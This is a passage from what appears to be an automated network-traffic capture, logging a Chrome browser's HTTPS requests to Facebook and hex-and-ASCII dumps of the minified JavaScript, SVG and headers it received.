72 Data Ascii: ).neg(a)}function d(a){return(g\|\|(g=b("bs_caml_int64"))).xor(a,g.neg_one)}function e(a){try{return b("bs_caml_format").caml_int64_of_string(a)}catch(c){a=b("bs_caml_js_exceptions").internalToOCamlException(c);if(a.RE_EXN_ID==="Failure")return;throw a}}var
2024-04-11 20:35:32 UTC	14884	IN	Data Raw: 61 28 63 28 22 62 73 5f 69 6e 74 36 34 22 29 2e 6c 6f 67 6e 6f 74 29 3b 62 3d 62 28 63 28 22 62 73 5f 69 6e 74 36 34 22 29 2e 6f 66 5f 73 74 72 69 6e 67 5f 6f 70 74 29 3b 76 61 72 20 47 2c 48 3b 69 66 28 74 79 70 65 6f 66 20 42 69 67 49 6e 74 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 76 61 72 20 49 3d 42 69 67 49 6e 74 28 33 32 29 2c 4a 3d 42 69 67 49 6e 74 28 34 32 39 34 39 36 37 32 39 35 29 3b 47 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 42 69 67 49 6e 74 2e 61 73 49 6e 74 4e 28 36 34 2c 28 42 69 67 49 6e 74 28 61 5b 30 5d 29 3c 3c 49 29 2b 42 69 67 49 6e 74 28 61 5b 31 5d 29 29 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 48 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 42 69 67 49 6e 74 2e 61 73 49 6e 74 4e 28 36 34 2c 42 69 67 49 6e 74 Data Ascii: a(c("bs_int64").lognot);b=b(c("bs_int64").of_string_opt);var G,H;if(typeof BigInt==="function"){var I=BigInt(32),J=BigInt(4294967295);G=function(a){return BigInt.asIntN(64,(BigInt(a[0])<<I)+BigInt(a[1])).toString()};H=function(a){a=BigInt.asIntN(64,BigInt
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 79 28 64 29 2c 67 3d 30 2c 64 3d 66 3f 64 3a 64 5b 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 5d 28 29 3b 3b 29 7b 76 61 72 20 68 3b 69 66 28 66 29 7b 69 66 28 67 3e 3d 64 2e 6c 65 6e 67 74 68 29 62 72 65 61 6b 3b 68 3d 64 5b 67 2b 2b 5d 7d 65 6c 73 65 7b 67 3d 64 2e 6e 65 78 74 28 29 3b 69 66 28 67 2e 64 6f 6e 65 29 62 72 65 61 6b 3b 68 3d 67 2e 76 61 6c 75 65 7d 68 3d 68 3b 69 66 28 62 3e 68 2e 6d 61 78 43 6f 6e 74 61 69 6e 65 72 57 69 64 74 68 29 63 6f 6e 74 69 6e 75 65 3b 63 3d 68 2e 77 69 64 74 68 3b 62 72 65 61 6b 7d 65 28 63 29 7d 2c 5b 61 5d 29 3b 62 3d 63 28 22 75 73 65 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 22 29 28 62 29 Data Ascii: y(d),g=0,d=f?d:d[typeof Symbol==="function"?Symbol.iterator:"@@iterator"]();;){var h;if(f){if(g>=d.length)break;h=d[g++]}else{g=d.next();if(g.done)break;h=g.value}h=h;if(b>h.maxContainerWidth)continue;c=h.width;break}e(c)},[a]);b=c("useResizeObserver")(b)
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 2e 6f 62 6a 65 63 74 57 69 74 68 6f 75 74 50 72 6f 70 65 72 74 69 65 73 4c 6f 6f 73 65 28 61 2c 5b 22 6e 65 78 74 42 75 74 74 6f 6e 4c 61 62 65 6c 22 2c 22 70 72 65 76 42 75 74 74 6f 6e 4c 61 62 65 6c 22 2c 22 72 65 64 75 63 65 41 72 72 6f 77 53 69 7a 65 22 5d 29 3b 61 3d 6b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6a 2e 6a 73 78 28 63 28 22 43 6f 6d 65 74 54 72 61 63 6b 69 6e 67 4e 6f 64 65 50 72 6f 76 69 64 65 72 2e 72 65 61 63 74 22 29 2c 7b 74 72 61 63 6b 69 6e 67 4e 6f 64 65 3a 34 31 39 2c 63 68 69 6c 64 72 65 6e 3a 6a 2e 6a 73 78 28 63 28 22 43 6f 6d 65 74 43 69 72 63 6c 65 42 75 74 74 6f 6e 2e 72 65 61 63 74 22 29 2c 7b 63 6f 6c 6f 72 3a 22 73 65 63 6f 6e 64 61 72 79 22 2c 64 69 73 61 62 6c 65 64 3a 62 2c 69 63 6f 6e 3a 64 Data Ascii: .objectWithoutPropertiesLoose(a,["nextButtonLabel","prevButtonLabel","reduceArrowSize"]);a=k(function(a,b){return j.jsx(c("CometTrackingNodeProvider.react"),{trackingNode:419,children:j.jsx(c("CometCircleButton.react"),{color:"secondary",disabled:b,icon:d
2024-04-11 20:35:32 UTC	14884	IN	Data Raw: 72 65 74 65 54 79 70 65 3a 22 54 69 6d 65 6c 69 6e 65 41 70 70 43 6f 6c 6c 65 63 74 69 6f 6e 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 6e 6f 64 65 73 22 2c 70 6c 75 72 61 6c 3a 21 30 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 63 2c 61 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 61 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 57 45 4d 50 72 69 76 61 74 65 53 68 61 72 69 6e 67 42 75 6e 64 6c 65 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 Data Ascii: reteType:"TimelineAppCollection",kind:"LinkedField",name:"nodes",plural:!0,selections:[c,a],storageKey:null}],storageKey:null},a],storageKey:null}],storageKey:null}],storageKey:null},{alias:null,args:null,concreteType:"WEMPrivateSharingBundle",kind:"Linke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49932	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	610	OUT	GET /rsrc.php/v3iWd-4/yL/l/en_US/VMVbV95MTD9.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: CBA957kBVSQAn8WlDjNgmw== Expires: Wed, 09 Apr 2025 09:59:01 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: oxW3qh6es155BUmODoFGR59KnpSX1MdE6NqL8S+w2fDju5i9Cda/UY2vVgQvlPa8dCFzL6X070PYwhpsESpHjQ== Date: Thu, 11 Apr 2024 20:35:32 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=84, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 57080
2024-04-11 20:35:32 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:32 UTC	16103	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 4d 65 6e 75 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 32 35 32 33 35 30 30 36 34 35 32 38 31 31 35 32 33 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 4d 65 6e 75 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 4d 65 6e 75 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 Data Ascii: /FB_PKG_DELIM/__d("CometFeedStoryMenuQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="25235006452811523"}),null);__d("CometFeedStoryMenuQuery$Parameters",["CometFeedStoryMenuQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 32 33 68 27 2f 25 33 65 25 33 63 70 61 74 68 20 66 69 6c 6c 3d 27 25 32 33 34 46 34 46 36 37 27 20 64 3d 27 4d 34 2e 39 36 38 20 39 2e 33 33 33 61 2e 33 32 39 2e 33 32 39 20 30 20 30 31 2e 30 30 37 2e 30 37 31 63 30 20 2e 32 30 31 2d 2e 31 37 36 2e 33 36 36 2d 2e 33 39 34 2e 33 36 36 2d 2e 32 31 37 20 30 2d 2e 33 39 33 2d 2e 31 36 35 2d 2e 33 39 33 2d 2e 33 36 36 20 30 2d 2e 30 38 33 2e 30 33 2d 2e 31 36 2e 30 38 2d 2e 32 32 31 2e 32 32 34 2e 30 35 33 2e 34 35 39 2e 31 30 34 2e 37 2e 31 35 7a 6d 35 2e 39 32 36 2e 34 33 37 63 2d 2e 32 31 31 20 30 2d 2e 33 38 33 2d 2e 31 35 33 2d 2e 33 39 33 2d 2e 33 34 38 2e 32 35 39 2d 2e 30 33 38 2e 35 31 36 2d 2e 30 38 35 2e 37 36 36 2d 2e 31 33 36 61 2e 33 33 33 2e 33 33 33 20 30 20 30 31 2e 30 32 2e 31 31 39 63 30 20 Data Ascii: 23h'/%3e%3cpath fill='%234F4F67' d='M4.968 9.333a.329.329 0 01.007.071c0 .201-.176.366-.394.366-.217 0-.393-.165-.393-.366 0-.083.03-.16.08-.221.224.053.459.104.7.15zm5.926.437c-.211 0-.383-.153-.393-.348.259-.038.516-.085.766-.136a.333.333 0 01.02.119c0
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 2d 63 6f 6c 6f 72 3d 27 25 32 33 46 46 44 43 35 45 27 20 6f 66 66 73 65 74 3d 27 31 30 30 25 32 35 27 2f 25 33 65 20 25 33 63 2f 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 25 33 65 20 25 33 63 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 63 78 3d 27 31 30 30 25 32 35 27 20 63 79 3d 27 37 2e 30 31 31 25 32 35 27 20 66 78 3d 27 31 30 30 25 32 35 27 20 66 79 3d 27 37 2e 30 31 31 25 32 35 27 20 72 3d 27 31 30 35 2e 30 33 39 25 32 35 27 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 27 73 63 61 6c 65 28 2d 2e 39 30 37 31 33 20 2d 31 29 20 72 6f 74 61 74 65 28 2d 34 35 2e 37 39 39 20 2d 2e 32 31 37 20 32 2e 34 38 39 29 27 20 69 64 3d 27 7a 27 25 33 65 20 25 33 63 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 27 25 32 33 46 34 42 32 34 38 27 20 6f 66 Data Ascii: -color='%23FFDC5E' offset='100%25'/%3e %3c/radialGradient%3e %3cradialGradient cx='100%25' cy='7.011%25' fx='100%25' fy='7.011%25' r='105.039%25' gradientTransform='scale(-.90713 -1) rotate(-45.799 -.217 2.489)' id='z'%3e %3cstop stop-color='%23F4B248' of
2024-04-11 20:35:32 UTC	8208	IN	Data Raw: 28 22 75 73 65 43 6f 6d 65 74 54 6f 6f 6c 74 69 70 51 50 22 2c 5b 22 43 6f 6d 65 74 52 65 6c 61 79 22 2c 22 72 65 61 63 74 22 2c 22 75 73 65 43 6f 6d 65 74 43 61 6c 6c 6f 75 74 22 2c 22 75 73 65 43 6f 6d 65 74 54 6f 6f 6c 74 69 70 51 50 5f 71 75 69 63 6b 50 72 6f 6d 6f 74 69 6f 6e 2e 67 72 61 70 68 71 6c 22 2c 22 75 73 65 51 50 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 3b 65 3d 69 7c 7c 64 28 22 72 65 61 63 74 22 29 3b 76 61 72 20 6a 3d 65 2e 75 73 65 43 61 6c 6c 62 61 63 6b 2c 6b 3d 65 2e 75 73 65 4d 65 6d 6f 2c 6c 3d 7b 61 72 72 6f 77 53 74 79 6c 65 3a 22 69 6e 73 65 74 22 2c 68 61 73 43 6c 6f 73 65 42 75 74 74 6f 6e 3a 21 30 2c 74 79 70 65 3a 22 61 63 Data Ascii: ("useCometTooltipQP",["CometRelay","react","useCometCallout","useCometTooltipQP_quickPromotion.graphql","useQP"],(function(a,b,c,d,e,f,g){"use strict";var h,i;e=i\|\|d("react");var j=e.useCallback,k=e.useMemo,l={arrowStyle:"inset",hasCloseButton:!0,type:"ac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49925	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	950	OUT	POST /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1449 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: application/x-www-form-urlencoded X-FB-LSD: AVqJt7mBmTM sec-ch-ua-platform-version: "10.0.0" X-ASBD-ID: 129477 dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	1449	OUT	Data Raw: 72 6f 75 74 65 5f 75 72 6c 73 5b 30 5d 3d 25 32 46 26 72 6f 75 74 65 5f 75 72 6c 73 5b 31 5d 3d 25 32 46 6c 6f 67 69 6e 25 32 46 64 65 76 69 63 65 2d 62 61 73 65 64 25 32 46 72 65 67 75 6c 61 72 25 32 46 6c 6f 67 69 6e 25 32 46 25 33 46 6c 6f 67 69 6e 5f 61 74 74 65 6d 70 74 25 33 44 31 25 32 36 6e 65 78 74 25 33 44 68 74 74 70 73 25 32 35 33 41 25 32 35 32 46 25 32 35 32 46 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 35 32 46 62 66 6a 66 69 6e 61 6e 63 69 61 6c 25 32 35 32 46 26 72 6f 75 74 69 6e 67 5f 6e 61 6d 65 73 70 61 63 65 3d 66 62 5f 63 6f 6d 65 74 26 5f 5f 61 61 69 64 3d 30 26 5f 5f 75 73 65 72 3d 30 26 5f 5f 61 3d 31 26 5f 5f 72 65 71 3d 33 26 5f 5f 68 73 3d 31 39 38 32 34 2e 48 59 50 25 33 41 63 6f 6d 65 74 5f 6c 6f 67 67 65 64 6f 75 Data Ascii: route_urls[0]=%2F&route_urls[1]=%2Flogin%2Fdevice-based%2Fregular%2Flogin%2F%3Flogin_attempt%3D1%26next%3Dhttps%253A%252F%252Fwww.facebook.com%252Fbfjfinancial%252F&routing_namespace=fb_comet&__aaid=0&__user=0&__a=1&__req=3&__hs=19824.HYP%3Acomet_loggedou
2024-04-11 20:35:32 UTC	942	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:32 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:32 UTC	1747	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:32 UTC	5	IN	Data Raw: 31 36 32 0d 0a Data Ascii: 162
2024-04-11 20:35:32 UTC	361	IN	Data Raw: 66 6f 72 20 28 3b 3b 29 3b 7b 22 70 61 79 6c 6f 61 64 22 3a 7b 22 70 61 79 6c 6f 61 64 73 22 3a 7b 22 2f 22 3a 7b 22 65 72 72 6f 72 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 6e 75 6c 6c 7d 2c 22 2f 6c 6f 67 69 6e 2f 64 65 76 69 63 65 2d 62 61 73 65 64 2f 72 65 67 75 6c 61 72 2f 6c 6f 67 69 6e 2f 3f 6c 6f 67 69 6e 5f 61 74 74 65 6d 70 74 3d 31 26 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 62 66 6a 66 69 6e 61 6e 63 69 61 6c 5c 75 30 30 32 35 32 46 22 3a 7b 22 65 72 72 6f 72 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 6e 75 6c 6c 7d 7d 2c 22 73 72 5f 70 61 79 6c 6f 61 64 22 3a 7b 22 68 73 72 70 22 3a 7b 22 68 62 Data Ascii: for (;;);{"payload":{"payloads":{"/":{"error":false,"result":null},"/login/device-based/regular/login/?login_attempt=1&next=https\u00253A\u00252F\u00252Fwww.facebook.com\u00252Fbfjfinancial\u00252F":{"error":false,"result":null}},"sr_payload":{"hsrp":{"hb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49929	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	610	OUT	GET /rsrc.php/v3iDeG4/yl/l/en_US/E-5avDUlsjj.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: QdnVBJtND21FG5yQQH0v4w== Expires: Fri, 11 Apr 2025 06:58:16 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: m3rqBRM++TJBRQlaa1I3wpYbhTUo4hloF4tHL3VPOGsNGGvp4Bbh37CxJOblLsykqh3ILLVVAKsbBvh+nrB6VA== Date: Thu, 11 Apr 2024 20:35:32 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 218710
2024-04-11 20:35:32 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:32 UTC	16101	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 75 73 65 43 6f 65 72 63 65 52 65 6c 61 79 49 6d 61 67 65 5f 69 6d 61 67 65 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 75 73 65 43 6f 65 72 63 65 52 65 6c 61 79 49 6d 61 67 65 5f 69 6d 61 67 65 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 68 65 69 67 68 74 22 2c 73 74 Data Ascii: /FB_PKG_DELIM/__d("useCoerceRelayImage_image.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"useCoerceRelayImage_image",selections:[{alias:null,args:null,kind:"ScalarField",name:"height",st
2024-04-11 20:35:32 UTC	16384	IN	Data Raw: 72 6f 70 4e 61 6d 65 3a 22 72 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 4d 75 6c 74 69 70 6c 65 55 73 65 72 4c 69 6e 6b 73 50 72 6f 66 69 6c 65 46 69 65 6c 64 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 50 72 6f 66 69 6c 65 46 69 65 6c 64 53 65 63 74 69 6f 6e 5f 73 65 63 74 69 6f 6e 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 47 65 6d 69 6e 69 57 6f 72 6b 50 72 6f 66 69 6c 65 50 68 6f 6e 65 4e 75 Data Ascii: ropName:"renderer",kind:"ModuleImport"}],type:"MultipleUserLinksProfileFieldRenderer",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometAboutProfileFieldSection_section",fragmentName:"ProfileGeminiWorkProfilePhoneNu
